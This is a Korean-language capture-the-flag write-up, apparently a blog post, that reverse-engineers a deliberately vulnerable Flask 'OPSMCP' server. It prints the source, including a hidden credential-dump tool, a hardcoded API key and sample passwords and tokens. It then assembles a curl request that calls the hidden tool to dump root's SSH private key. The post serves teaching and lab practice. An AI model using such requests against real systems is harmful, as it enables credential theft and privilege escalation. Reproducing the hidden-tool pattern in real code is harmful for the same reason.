Flask 소스코드를 보고 API 요청 구조 조립하기

🛡️ 강사 제공 인가된 실습 환경에서 수행

Hackthebox 문제를 풀면서 BUFF를 사용할수 없거나 임의의 요청을 보낼수 없는 상황에서 소스코드를 보고 HTTP 요청을 조립하는 방법에 대해서 새롭게 알게되어서 과정을 정리해 보려고 한다.

별도의 API 문서가 없더라도 Flask 소스코드에는 다음과 같은 정보가 포함되어 있다.

  • API가 실행되는 주소와 포트
  • 요청을 보낼 엔드포인트
  • 사용할 HTTP 메서드
  • 인증 방식
  • 요청 헤더
  • JSON 본문의 구조
  • 호출 가능한 기능
  • 기능별로 필요한 인자

따라서 서버가 요청을 처리하는 흐름을 반대로 따라가면 클라이언트가 보내야 하는 HTTP 요청을 조립할 수 있다.

이번 문제에서는 다음 순서로 코드를 분석한다.

1. 서버 주소와 포트 확인
2. 엔드포인트와 HTTP 메서드 확인
3. 인증 방식 확인
4. JSON 요청 구조 확인
5. 호출 가능한 도구 확인
6. 도구별 인자와 유효한 값 확인
7. curl 요청으로 조립

Flask 소스 코드

OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

# Registered tools (visible)
VISIBLE_TOOLS = {
    "ops.system_status": {
        "description": "Get system status and health metrics",
        "parameters": {}
    },
    "ops.list_services": {
        "description": "List running services",
        "parameters": {}
    },
    "ops.check_disk": {
        "description": "Check disk usage",
        "parameters": {}
    },
    "ops.view_logs": {
        "description": "View recent system logs",
        "parameters": {"service": "string"}
    }
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

def check_auth():
    """Check API key authentication"""
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

@app.route('/')
def index():
    return jsonify({
        "server": "OPSMCP",
        "version": "2.1.0",
        "status": "operational",
        "endpoints": ["/tools/list", "/tools/call", "/health"],
        "auth": "Required - X-API-Key header"
    })

@app.route('/health')
def health():
    return jsonify({"status": "healthy", "uptime": "14d 3h 22m"})

@app.route('/tools/list')
def list_tools():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    return jsonify({
        "tools": list(VISIBLE_TOOLS.keys()),
        "count": len(VISIBLE_TOOLS),
        "details": VISIBLE_TOOLS
    })

@app.route('/tools/call', methods=['POST'])
def call_tool():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    data = request.get_json() or {}
    tool_name = data.get('name', '')
    args = data.get('arguments', {})
    
    if not tool_name:
        return jsonify({"error": "Tool name required"}), 400
    
    if tool_name not in ALL_TOOLS:
        return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
    
    # Execute tool
    if tool_name == "ops.system_status":
        return jsonify({
            "cpu": "23%",
            "memory": "1.2GB/4GB",
            "load": "0.45",
            "status": "nominal"
        })
    
    elif tool_name == "ops.list_services":
        return jsonify({
            "services": [
                {"name": "nginx", "status": "running", "pid": 1234},
                {"name": "opsmcp", "status": "running", "pid": 5678},
                {"name": "jupyter", "status": "running", "pid": 9012},
                {"name": "mcpjam", "status": "running", "pid": 3456}
            ]
        })
    
    elif tool_name == "ops.check_disk":
        return jsonify({
            "filesystems": [
                {"mount": "/", "used": "4.2G", "available": "15G", "percent": "22%"},
                {"mount": "/home", "used": "1.1G", "available": "8G", "percent": "12%"}
            ]
        })
    
    elif tool_name == "ops.view_logs":
        service = args.get('service', 'system')
        return jsonify({
            "service": service,
            "logs": [
                "[2026-01-22 10:00:01] Service started",
                "[2026-01-22 10:00:02] Listening on configured port",
                "[2026-01-22 10:15:33] Health check passed",
                "[2026-01-22 11:00:00] Routine maintenance completed"
            ]
        })
    
    elif tool_name == "ops._debug_mode":
        return jsonify({
            "debug": True,
            "message": "Debug mode enabled",
            "hidden_tools": list(HIDDEN_TOOLS.keys()),
            "note": "Debug endpoints now accessible"
        })
    
    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)
        
        if not confirm:
            return jsonify({
                "error": "Confirmation required",
                "usage": "Set confirm=true to proceed",
                "warning": "This dumps sensitive credentials"
            })
        
        if target == "ssh_keys":
            try:
                with open('/root/.ssh/id_rsa', 'r') as f:
                    key_data = f.read()
                return jsonify({
                    "target": "ssh_keys",
                    "root_private_key": key_data,
                    "note": "Emergency recovery key dump"
                })
            except Exception as e:
                return jsonify({
                    "target": "ssh_keys",
                    "error": f"Could not read key: {str(e)}"
                })
        
        elif target == "passwords":
            return jsonify({
                "target": "passwords",
                "dump": {
                    "root": "$6$rounds=656000$saltsalt$hashedpassword",
                    "analyst": "JupyterN0tebook!2026",
                    "mcp-dev": "Mcp!Insp3ct0r2026"
                }
            })
        
        elif target == "tokens":
            return jsonify({
                "target": "tokens",
                "api_tokens": {
                    "admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
                    "service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
                }
            })
        
        else:
            return jsonify({
                "error": "Invalid target",
                "valid_targets": ["ssh_keys", "passwords", "tokens"]
            })
    
    return jsonify({"error": "Tool execution failed"}), 500

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

1. 서버 주소와 포트 확인

Flask 코드의 마지막 부분을 보면 서버가 어떤 주소와 포트에서 실행되는지 확인할 수 있다.

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

여기서 다음 정보를 확인한다.

서버 주소: 127.0.0.1
서버 포트: 5000

따라서 API의 기본 주소는 다음과 같다.

http://127.0.0.1:5000

127.0.0.1에 바인딩된 서비스는 대상 서버 내부에서만 접근할 수 있다.

이번에는 JupyterLab 터미널이 대상 서버 내부에서 실행되고 있으므로, 해당 터미널에서 127.0.0.1:5000으로 요청을 보낼 수 있다.

2. 엔드포인트와 HTTP 메서드 확인

Flask에서는 @app.route() 데코레이터를 사용해 요청 경로를 정의한다.

@app.route('/')
def index():
@app.route('/health')
def health():
@app.route('/tools/list')
def list_tools():
@app.route('/tools/call', methods=['POST'])
def call_tool():

별도로 methods를 지정하지 않은 라우트는 기본적으로 GET 요청을 사용한다.

따라서 각 엔드포인트는 다음과 같이 정리할 수 있다.

GET  /
GET  /health
GET  /tools/list
POST /tools/call

도구를 호출하는 기능은 /tools/call에 구현되어 있으며, methods=['POST']가 지정되어 있으므로 POST 요청을 보내야 한다.

curl 명령의 기본 형태는 다음과 같다.

curl -X POST http://127.0.0.1:5000/tools/call

-X POST는 HTTP 요청 메서드를 POST로 지정하는 옵션이다.

3. 인증 방식 확인

/tools/list/tools/call에는 다음과 같은 인증 검사가 존재한다.

if not check_auth():
    return jsonify({
        "error": "Unauthorized",
        "message": "Valid X-API-Key header required"
    }), 401

실제 인증 방식은 check_auth() 함수에서 확인할 수 있다.

def check_auth():
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

서버는 요청 헤더에서 X-API-Key 값을 읽고, 이를 VALID_API_KEY와 비교한다.

API 키 값도 소스코드에 하드코딩되어 있다.

VALID_API_KEY = "opsmcp_secret_key_..."

이를 통해 다음과 같은 인증 구조를 확인한다.

인증 위치: HTTP 요청 헤더
헤더 이름: X-API-Key
헤더 값: VALID_API_KEY에 저장된 값

curl에서는 -H 옵션으로 요청 헤더를 추가한다.

-H 'X-API-Key: <API_KEY>'

현재까지 조립한 요청은 다음과 같다.

curl -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: <API_KEY>'

4. JSON 요청 구조 확인

call_tool() 함수에서는 클라이언트가 보낸 요청 본문을 다음과 같이 처리한다.

data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})

request.get_json()을 사용하는 것을 통해 요청 본문이 JSON 형식이어야 한다는 것을 알 수 있다.

또한 서버는 JSON 최상위 객체에서 다음 두 필드를 읽는다.

name
arguments

따라서 기본적인 JSON 요청 구조는 다음과 같다.

{
  "name": "호출할 도구 이름",
  "arguments": {
    "도구에 전달할 인자"
  }
}

JSON 데이터를 전송한다는 것을 서버에 알려주기 위해 다음 헤더를 추가한다.

-H 'Content-Type: application/json'

curl에서 요청 본문은 -d 옵션으로 전달한다.

-d '{
  "name": "도구 이름",
  "arguments": {}
}'

현재까지 조립한 요청은 다음과 같다.

curl -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: <API_KEY>' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "도구 이름",
    "arguments": {}
  }'

5. 호출 가능한 도구 확인

코드에는 공개 도구와 숨겨진 도구가 따로 정의되어 있다.

공개 도구

VISIBLE_TOOLS = {
    "ops.system_status": {
        "description": "Get system status and health metrics",
        "parameters": {}
    },
    "ops.list_services": {
        "description": "List running services",
        "parameters": {}
    },
    "ops.check_disk": {
        "description": "Check disk usage",
        "parameters": {}
    },
    "ops.view_logs": {
        "description": "View recent system logs",
        "parameters": {
            "service": "string"
        }
    }
}

숨겨진 도구

HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {
            "target": "string",
            "confirm": "boolean"
        }
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

여기서 ops._admin_dump라는 숨겨진 도구와 필요한 인자를 확인할 수 있다.

도구 이름: ops._admin_dump

필요한 인자:
- target: 문자열
- confirm: 불리언

6. 숨겨진 도구가 실제로 호출 가능한지 확인

숨겨진 도구가 코드에 정의되어 있다고 해서 반드시 호출할 수 있는 것은 아니다.

실제 호출 가능 여부를 확인하려면 도구 이름을 검사하는 코드를 확인해야 한다.

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

이 코드는 공개 도구와 숨겨진 도구를 하나의 딕셔너리로 합친다.

ALL_TOOLS
├── VISIBLE_TOOLS
└── HIDDEN_TOOLS

/tools/call에서는 다음과 같이 요청으로 받은 도구 이름을 검사한다.

if tool_name not in ALL_TOOLS:
    return jsonify({
        "error": f"Unknown tool: {tool_name}"
    }), 404

호출 가능 여부를 VISIBLE_TOOLS가 아닌 ALL_TOOLS를 기준으로 검사한다.

따라서 숨겨진 도구인 ops._admin_dump도 이름만 알고 있으면 직접 호출할 수 있다.

반면 /tools/list 엔드포인트는 공개 도구만 반환한다.

return jsonify({
    "tools": list(VISIBLE_TOOLS.keys()),
    "count": len(VISIBLE_TOOLS),
    "details": VISIBLE_TOOLS
})

그래서 /tools/list 응답에는 다음 네 개의 도구만 표시된다.

ops.system_status
ops.list_services
ops.check_disk
ops.view_logs

하지만 목록에 표시되지 않는다고 해서 호출할 수 없는 것은 아니다.

이번 코드에는 다음과 같은 불일치가 존재한다.

도구 목록 출력: VISIBLE_TOOLS 사용
도구 호출 검사: ALL_TOOLS 사용

이 구조 때문에 숨겨진 도구를 /tools/call로 직접 호출할 수 있다.

7. ops._admin_dump 인자 구조 확인

ops._admin_dump를 처리하는 부분을 확인한다.

elif tool_name == "ops._admin_dump":
    target = args.get('target', '')
    confirm = args.get('confirm', False)

앞에서 args는 다음과 같이 만들어진다.

args = data.get('arguments', {})

따라서 targetconfirm은 JSON 최상위 필드가 아니라 arguments 객체 안에 들어가야 한다.

잘못된 요청 구조는 다음과 같다.

{
  "name": "ops._admin_dump",
  "target": "ssh_keys",
  "confirm": true
}

올바른 요청 구조는 다음과 같다.

{
  "name": "ops._admin_dump",
  "arguments": {
    "target": "ssh_keys",
    "confirm": true
  }
}

서버가 값을 읽는 순서를 그대로 따라가면 다음과 같다.

data.get("arguments")
→ arguments 객체를 가져온다.

args.get("target")
→ arguments 안에서 target을 읽는다.

args.get("confirm")
→ arguments 안에서 confirm을 읽는다.

8. confirm 값 확인

코드에는 다음과 같은 확인 절차가 존재한다.

if not confirm:
    return jsonify({
        "error": "Confirmation required",
        "usage": "Set confirm=true to proceed",
        "warning": "This dumps sensitive credentials"
    })

confirm의 기본값은 False로 설정되어 있다.

confirm = args.get('confirm', False)

따라서 요청에서 confirm을 생략하거나 false를 전달하면 기능이 실행되지 않는다.

기능을 실행하려면 다음과 같이 전달해야 한다.

"confirm": true

여기서 true는 문자열이 아니라 JSON의 불리언 값이다.

{
  "confirm": true
}

다음처럼 따옴표를 사용하면 문자열이 된다.

{
  "confirm": "true"
}

요청 형식에 맞게 불리언 값인 true를 사용하는 것이 올바르다.

9. target에 넣을 수 있는 값 확인

target 값은 이후의 조건문을 따라가며 확인할 수 있다.

if target == "ssh_keys":
elif target == "passwords":
elif target == "tokens":

잘못된 값을 전달했을 때 반환하는 오류 응답에도 유효한 값이 명시되어 있다.

return jsonify({
    "error": "Invalid target",
    "valid_targets": [
        "ssh_keys",
        "passwords",
        "tokens"
    ]
})

따라서 target에 넣을 수 있는 값은 다음과 같다.

ssh_keys
passwords
tokens

이번에는 root 사용자의 SSH 개인키를 확인하는 것이 목적이므로 다음 값을 선택한다.

"target": "ssh_keys"

10. ssh_keys 기능 확인

targetssh_keys일 때 실행되는 코드는 다음과 같다.

if target == "ssh_keys":
    try:
        with open('/root/.ssh/id_rsa', 'r') as f:
            key_data = f.read()

        return jsonify({
            "target": "ssh_keys",
            "root_private_key": key_data,
            "note": "Emergency recovery key dump"
        })

이 코드는 /root/.ssh/id_rsa 파일을 읽어 root_private_key라는 JSON 필드로 반환한다.

읽는 파일:
/root/.ssh/id_rsa

응답 필드:
root_private_key

여기서 중요한 점은 요청을 보내는 analyst 사용자가 직접 /root/.ssh/id_rsa를 읽는 것이 아니라는 점이다.

요청을 처리하는 Flask 서비스가 root 권한으로 실행 중이기 때문에, Flask 서비스가 대신 해당 파일을 읽어 응답으로 반환한다.

analyst 사용자
→ OPSMCP API에 요청
→ root 권한으로 실행 중인 Flask 서비스
→ /root/.ssh/id_rsa 읽기
→ 응답으로 개인키 반환

11. /tools/call 요청 구조 조립

지금까지 소스코드에서 확인한 내용을 정리하면 다음과 같다.

기본 주소:
http://127.0.0.1:5000

엔드포인트:
/tools/call

HTTP 메서드:
POST

인증 헤더:
X-API-Key: <API_KEY>

요청 본문:
JSON

도구 이름:
ops._admin_dump

필요한 인자:
target
confirm

target 값:
ssh_keys

confirm 값:
true

먼저 요청의 기본 형태를 만든다.

curl -X POST http://127.0.0.1:5000/tools/call

인증 헤더를 추가한다.

curl -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: <API_KEY>'

JSON 형식임을 알리는 헤더를 추가한다.

curl -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: <API_KEY>' \
  -H 'Content-Type: application/json'

호출할 도구 이름을 JSON 본문에 추가한다.

curl -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: <API_KEY>' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "ops._admin_dump",
    "arguments": {}
  }'

마지막으로 targetconfirm 인자를 추가한다.

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: <API_KEY>' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "ops._admin_dump",
    "arguments": {
      "target": "ssh_keys",
      "confirm": true
    }
  }'

각 옵션의 의미는 다음과 같다.

-s
└── curl 진행률과 불필요한 메시지를 숨긴다.

-X POST
└── HTTP 요청 메서드를 POST로 지정한다.

-H 'X-API-Key: ...'
└── API 인증에 필요한 헤더를 추가한다.

-H 'Content-Type: application/json'
└── 요청 본문이 JSON 형식임을 서버에 알린다.

-d '{ ... }'
└── 서버에 전송할 JSON 요청 본문을 지정한다.

12. Flask 코드와 curl 요청 대응 관계

Flask 코드와 최종 curl 요청을 직접 대응시키면 다음과 같다.

요청 경로와 HTTP 메서드

Flask 코드:

@app.route('/tools/call', methods=['POST'])

curl 요청:

-X POST http://127.0.0.1:5000/tools/call

인증 헤더

Flask 코드:

api_key = request.headers.get('X-API-Key', '')

curl 요청:

-H 'X-API-Key: <API_KEY>'

JSON 본문

Flask 코드:

data = request.get_json() or {}

curl 요청:

-H 'Content-Type: application/json'
-d '{ ... }'

도구 이름

Flask 코드:

tool_name = data.get('name', '')

JSON 요청:

{
  "name": "ops._admin_dump"
}

도구 인자 객체

Flask 코드:

args = data.get('arguments', {})

JSON 요청:

{
  "arguments": {
    "target": "ssh_keys",
    "confirm": true
  }
}

target

Flask 코드:

target = args.get('target', '')

if target == "ssh_keys":

JSON 요청:

{
  "target": "ssh_keys"
}

confirm

Flask 코드:

confirm = args.get('confirm', False)

if not confirm:

JSON 요청:

{
  "confirm": true
}

결국 서버가 입력을 읽는 방식을 반대로 따라가며 요청을 만든다.

서버가 X-API-Key 헤더를 읽는다.
→ X-API-Key 헤더를 추가한다.

서버가 JSON에서 name을 읽는다.
→ JSON에 name을 넣는다.

서버가 JSON에서 arguments를 읽는다.
→ JSON에 arguments 객체를 만든다.

서버가 arguments 안에서 target을 읽는다.
→ arguments 안에 target을 넣는다.

서버가 arguments 안에서 confirm을 읽는다.
→ arguments 안에 confirm을 넣는다.

이번 요청은 값을 추측해서 만든 것이 아니라, Flask 서버의 입력 처리 코드를 역순으로 따라가며 조립한 요청이다.

원본 · velog.io